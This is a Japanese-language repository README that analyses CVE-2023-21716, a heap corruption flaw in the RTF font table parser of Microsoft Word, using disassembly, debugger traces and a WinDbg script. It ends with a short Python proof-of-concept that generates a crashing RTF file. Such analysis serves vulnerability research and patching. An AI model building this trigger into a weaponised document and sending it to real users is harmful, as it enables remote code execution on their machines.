featherstark/cve-2023-21716CVE-2023-21716に対する技術的分析および概念実証エクスプロイト。これは、Microsoft WordのRTFフォントテーブルパーサーにおけるヒープ破損の脆弱性であり、リモートコード実行を可能にします。
Microsoft Office の wwlib に存在する脆弱性により、攻撃者は悪意のある RTF ドキュメントを開いた被害者の権限で、リモートコード実行を達成できます。攻撃者はこのファイルをメールの添付ファイル（またはその他の手段）として配信する可能性があります。
Microsoft Word は Microsoft Office に含まれるワードプロセッサアプリケーションです。デフォルトインストールでは、Microsoft Word は Rich-Text Format (RTF) ドキュメントを処理します。そのようなドキュメントは、主に 7 ビット ASCII ベースのキーワードで構成され、これらが組み合わさることでさまざまなリッチコンテンツをカプセル化できます。
Microsoft Word の RTF パーサーは、過剰な数のフォント（\f###）を含むフォントテーブル（\fonttbl）を処理する際に、ヒープ破損の脆弱性を持ちます。フォントを処理する際、フォント ID 値（\f に続く数字）は以下のコードによって処理されます。
{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; write the code page {% endhighlight %}
示されているように、フォント ID 値は 0xd6cf0c3 の "movsx" 命令でロードされます。この命令はロードした値を符号拡張し、edx の上位ビットを ffff で埋めます。次のデバッガ出力は実行時の動作を示しています。
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2) *** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2) *** edx will become: 0x17fde (from 0x7fee+0x7ff8*2) *** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2) *** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2) *** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2) *** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2) *** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2) *** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2) *** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2) *** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2) *** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2) *** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
これが発生すると、0xd6cf0c3 のメモリ書き込み命令が、esi が保持するメモリの負のオフセットにフォントコードページを書き込むことで、ヒープを破損します。次のデバッガ出力は範囲外メモリ書き込みを示しています。
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4] *** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4] *** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4] *** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4] *** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4] *** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4] *** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4] *** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4] *** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4] *** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4] *** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4] *** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4] *** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
このメモリ破損に続いて、追加の処理が行われます。適切に細工されたヒープレイアウトにより、攻撃者はヒープ破損を悪用して任意のコード実行を引き起こす可能性があります。
以下に提供する概念実証コードを使用すると、処理は最終的に後処理のクリーンアップコードに到達します。予想通り、RtlFreeHeap が呼び出され、以下に示すようにヒープ破損を検出します。
Critical error detected c0000374 (3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ntdll_77a40000!RtlReportCriticalFailure+0x4b: 77b27012 cc int 3 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo]) 01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4]) 02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo]) 03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo]) 04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo]) 05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo]) 06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo]) 07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo]) 08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo]) 09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo]) 0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo]) 0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4]) 0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo]) 19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
アナリストは Page Heap を使用して、コードが範囲外に書き込もうとしていることを確認することもできます。そうすると、次のようになります。
(afe8.9a5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. wwlib!FSearchFtcmap+0x150: 0dc1f0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=???? 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo]) 01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo]) 02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo]) 03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo]) 04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4]) 05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo]) 12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
この脆弱性は、少なくとも以下のバージョンの Microsoft Office に影響します。
古いバージョンも影響を受ける可能性がありますが、テストされていません。さらに、この脆弱性の技術的詳細は長年にわたって進化しています。
Microsoft Office 2010 以降では、信頼できないソースから取得した悪意のあるドキュメントによる被害を制限するために、Protected View を使用しています。この脆弱性が現れるときは Protected View が有効であるため、完全な特権を得るには追加のサンドボックスエスケープ脆弱性が必要になります。
RTF 拡張子のファイル関連付けを削除しても効果はありません。DOC 拡張子を使用しても、脆弱性のあるコードに到達するためです。
この問題は Joshua J. Drake (@jduck) によって発見、分析、報告されました。
以下の Python スクリプトは、この問題を引き起こすファイルを生成します。
{% highlight Python %} #!/usr/bin/python
import sys
num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1])
f = open("tezt.rtf", "wb") f.write("{\rtf1{\n{\fonttbl") for i in range(num): f.write("{\f%dA;}\n" % i) f.write("}\n") f.write("{\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close() {% endhighlight %}
この不正な入力を使用して Microsoft Word を繰り返し実行すると、"セーフモード" およびファイル固有のブロックリストがトリガーされます。被害者ユーザーが見る動作を観察するには、テスターは再テストの前に "セーフモード" フラグとファイル固有のブロックリストをフラッシュする必要があります。そうでない場合は、単に "セーフモード" を拒否し、"とにかく開く" をクリックするだけで再テストには十分です。
WinDbg で重いブレークポイント（以下に提供するものなど）を使用し、Page Heap を有効にすると、起動プロセスが大幅に遅くなる可能性があります。研究者はテスト中に、脆弱性のあるコードに到達しない状況を観察しました。原因を特定するための労力は最小限に抑えられましたが、Page Heap、重いブレークポイント、および "新機能" ダイアログのポップアップの組み合わせに関連しているようです。
以下のスクリプトは、上記の出力を生成するために WinDbg 内で使用されました。すべての抜粋は、Office 365 Insider Preview 2211 Build 15831.20122 CTR を使用して取得されました。
* clear all breakpoints bc * * hide the debugger e ebx+2 00 * run until wwlib is loaded xe ld:wwlib g; wait * make the breakpoints * watch index calculations bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc" * watch the writes bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc" g
